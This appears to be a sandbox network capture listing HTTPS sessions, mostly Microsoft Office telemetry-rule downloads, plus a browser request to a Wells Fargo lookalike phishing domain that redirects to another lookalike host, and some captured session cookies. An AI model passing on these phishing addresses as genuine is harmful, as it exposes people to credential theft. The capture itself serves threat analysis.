2024-11-14 19:43:30 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 1e45a1cf-401e-0029-3ef1-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194330Z-16547b76f7fx6rhxhC1DFW76kg0000000m3000000000bz9f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:30 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 46322fa8-301e-001f-3c91-36aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194330Z-16547b76f7f7scqbhC1DFW0m5w0000000m000000000075eh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:30 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:30 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:30 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 584cc2e3-301e-005d-1eab-36e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194330Z-1749fc9bdbdxm7w9hC1DFWy1k400000000p000000000m12k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:30 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49882	142.250.186.142	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	685	OUT	GET /log?format=json&hasfast=true&authuser=0 HTTP/1.1 Host: play.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=HARCkol9ZnX4w_fr3Y3wIXqkrbs22bPhQWaXqJDGkZ_X47fXtuoyIjJbTsaFAR9Xf91spZFcHrLh5EdnCKTyD1ksW48L3IoUPshpeAOCIXr0E3nIliBh7ioYT-1_61fpewGFIyfFt2E6x99zvhSFXAOar1EFDjL6oJrIK_E0t8KBoN5xanfMZ_KX256zIsyO
2024-11-14 19:43:30 UTC	270	IN	HTTP/1.1 400 Bad Request Date: Thu, 14 Nov 2024 19:43:30 GMT Content-Type: text/html; charset=UTF-8 Server: Playlog Content-Length: 1555 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-14 19:43:30 UTC	1108	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 30 20 28 42 61 64 20 52 65 71 75 65 73 74 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 400 (Bad Request)!!1</title> <style> *{margin:0;padding:0}html,code{font:15px/22px arial,sans-
2024-11-14 19:43:30 UTC	447	IN	Data Raw: 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 2d 77 65 62 6b 69 74 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 31 30 30 25 20 31 30 30 25 7d 7d 23 6c 6f 67 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 68 65 69 67 68 74 3a 35 34 70 78 3b 77 69 64 74 68 3a 31 35 30 70 78 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 20 20 3c 61 20 68 72 65 66 3d 2f 2f 77 77 77 2e 67 6f 6f 67 6c Data Ascii: -min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.googl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49883	188.119.66.154	443	3244	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	493	OUT	GET /favicon.ico HTTP/1.1 Host: online.secure.access.wellsfarqoadvlsor.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=iqrqitr918d84r4n75nn08tjdm; referer=aHR0cHM6Ly9vcGVuZGlyZWN0bGluZS5ibG9iLmNvcmUud2luZG93cy5uZXQv
2024-11-14 19:43:30 UTC	852	IN	HTTP/1.1 302 Found Date: Thu, 14 Nov 2024 19:43:30 GMT Server: Apache/2.4.41 (Ubuntu) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: uid=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: stp=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: wt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: hash=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: vndr=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: pmtcn=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/ Location: https://connect.secure.access.wellsfargoadvlsor.com/MettXckE Content-Length: 0 Connection: close Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:30 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:30 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:30 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 29462bed-001e-0066-044a-36561e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194330Z-r178fb8d765dbpv9hC1DFWma70000000016000000000v3v6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:30 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:31 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:31 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 9dcd50e6-101e-0034-2ca1-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194331Z-r178fb8d7657w5c5hC1DFW5ngg000000034g000000007ceh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 19:43:31 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:31 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 2361c5fe-901e-0064-45f6-2ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194331Z-16547b76f7fm7xw6hC1DFW5px40000000m1g000000009ud6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:31 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 53aae69c-201e-005d-6aa2-34afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194331Z-1749fc9bdbdr6qwphC1DFW0nv4000000030g00000000nzn6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:31 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7cdefebb-b01e-0070-2ca7-341cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194331Z-r178fb8d7656shmjhC1DFWu5kw00000002zg00000000g819 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 19:43:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 19:43:31 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 19:43:31 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 19:43:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 03686dcf-301e-0099-31a0-346683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T194331Z-r178fb8d765mjvjchC1DFWhkyn00000002xg000000005kcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
